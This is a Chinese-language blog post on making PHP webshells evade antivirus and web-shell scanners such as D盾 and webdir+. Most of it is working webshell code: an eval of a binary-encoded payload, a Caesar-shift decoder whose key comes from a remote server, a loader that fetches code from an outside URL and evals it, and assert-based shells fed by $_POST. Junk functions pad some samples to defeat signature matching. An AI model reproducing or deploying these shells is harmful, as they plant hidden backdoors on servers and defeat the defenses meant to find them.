【网络安全】一些webshell免杀的技巧
前言
由于殺軟的規則在不斷更新 所以很多之前的過殺軟方法基本上都不行了 而且隨著php7逐漸擴張 assert馬也將被淘汰 所以本文將提出幾種免殺思路 效果很好 而且不會被殺軟的正則和沙盒規則約束。
自定義加密Bypass
部分殺軟會直接將一些編碼函數如Base64、編碼后的關鍵字或組合函數加入了規則 比如某dir+
比如這個 都能被檢測出是shell
所以為了防止這種的規則 自定義加密顯然是最優解
自定義加密可選性多了 只要能把加密后的字符還原回去就行 比如base32 base58 這類的base編碼全家桶 或者自定義ascii移位 甚至是對稱加密算法等都是可以繞過這類規則檢測
base32編碼payload
(https://github.com/pureqh/webshell):
- ascii碼移位payload(凱撒加密)
居然沒過webdir+
那如何解決呢 我們后面再說 當然應付D盾還是綽綽有余了
Rot13加密payload
二進制轉化payload
<?phpclass KUYE{public $DAXW = null;public $LRXV = null;function __construct(){$this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';$this->LRXV = @BinToStr($this->DAXW);@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");}} new KUYE(); function BinToStr($str){$arr = explode(' ', $str);foreach($arr as &$v){$v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));}return join('', $arr); } ?>
這里就不列舉了 只要方法正確 繞過殺軟是很簡單的
通過http獲得關鍵參數
上面那個凱撒密碼不是被webdir+殺了嗎 我們在這里將他繞過
眾所周知凱撒密碼需要設置往前或往后移幾位ascii 這個參數可以設置為解密方法的輸入參數 經過測試 此參數在源碼中會被沙盒跑出了 因此不能過百度殺毒 ,那么 我不寫本地不就行了 我直接起一個http服務訪問文本獲得參數值。
<?php class FKPC{function __construct(){$url = "http://xxxxx:8080/1.txt";$fp = fopen($url, 'r');stream_get_meta_data($fp);while (!feof($fp)) {$body.= fgets($fp, 1024);}$this->x = $body;$this->TQYV = "bs^i%!\MLPQXwbolZ&8";$this->WZDM = @HHGJ($this->TQYV,$this->x);@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");}} new FKPC();function HHGJ($UyGv,$x) { $svfe = []; $mxAS = ''; $f = $UyGv; for ($i=0;$i<strlen($f);$i++) {$svfe[] = chr((ord($f[$i])+$x)); } $mxAS = implode($svfe); return $mxAS ; } ?>
當然肯定能用
但是 這轉了一圈簡直不低碳啊 我不能直接http獲取payload嗎 …
【學習攻略】
簡化代碼:
<?php class KUYE{public $a = 'yshasaui';public $b = '';function __construct(){$url = "http://xxx/1.txt";$fp = fopen($url, 'r');stream_get_meta_data($fp);while (!feof($fp)) {$body.= fgets($fp, 1024);}$this->b = $body;@eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");}} new KUYE(); ?>重寫函數Bypass
眾所周知 正則類殺軟最喜歡直接把危險函數加入規則 那么 它殺的是函數名 還是邏輯呢?
【學習攻略】
試一試就知道了
我們的樣本如下:
<?php$a = substr("assertxx",0,6);$a($_POST['x']);?>這是個使用substr函數切割關鍵字的小馬
直接扔到webdir+殺
毫無疑問的被殺了
那么 我們重寫substr函數
function mysubstr($string, $start = 0, $length = null) {$result = '';$strLength = strlen($string);if ($length === null) {$length = $strLength;}$length = (int) $length;$start = $start < 0 ? ($strLength + $start) : ($start);$end = $length < 0 ? ($strLength + $length) : $start + $length;if ($start > $strLength || ($end - $start) === 0) {return $result;}for (; $start < $end; $start ++) {$result .= $string[$start];}return $result; }然后把函數替換
<?php $b = 'assert(xyz@'; $c = mysubstr($b,0,6); $c($_POST['zero']); function mysubstr($string, $start = 0, $length = null) {$result = '';$strLength = strlen($string);if ($length === null) {$length = $strLength;}$length = (int) $length;$start = $start < 0 ? ($strLength + $start) : ($start);$end = $length < 0 ? ($strLength + $length) : $start + $length;if ($start > $strLength || ($end - $start) === 0) {return $result;}for (; $start < $end; $start ++) {$result .= $string[$start];}return $result; } ?>再拿去殺
結論很清楚了
再來D盾殺一下
不錯 報2級了 這就是沙盒型查殺和正則類查殺的明顯區別 怎么過呢 用構造方法即可
看到這里大家可能也很奇怪 這里都沒用到mysubstr函數 放上去不是多此一舉嗎
【學習攻略】
不好意思 恰恰不是 我們可以去掉這個函數 用D盾殺一下
<?phpclass pure {public $a = '';function __destruct(){assert("$this->a");} } $b = new pure; $b->a = $_POST['zero']; ?>
怎么樣 是不是很有趣
這里放這堆代碼并不是為了真的用它 而是為了過D盾的特征查殺 所以放什么函數是無所謂的。
比如這樣:
<?phpclass pure {public $a = '';function __destruct(){assert("$this->a");} } $b = new pure; $b->a = $_POST['zero']; function mysubstr($a,$b) {echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka"; } ?>
這里只介紹了重寫substr函數 那么其他的函數可以嗎 當然可以
【學習攻略】
總結
以上是生活随笔為你收集整理的【网络安全】一些webshell免杀的技巧的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: “白痴“上帝视角调节反序列化链之CC2
- 下一篇: 【安全工具】projectdiscove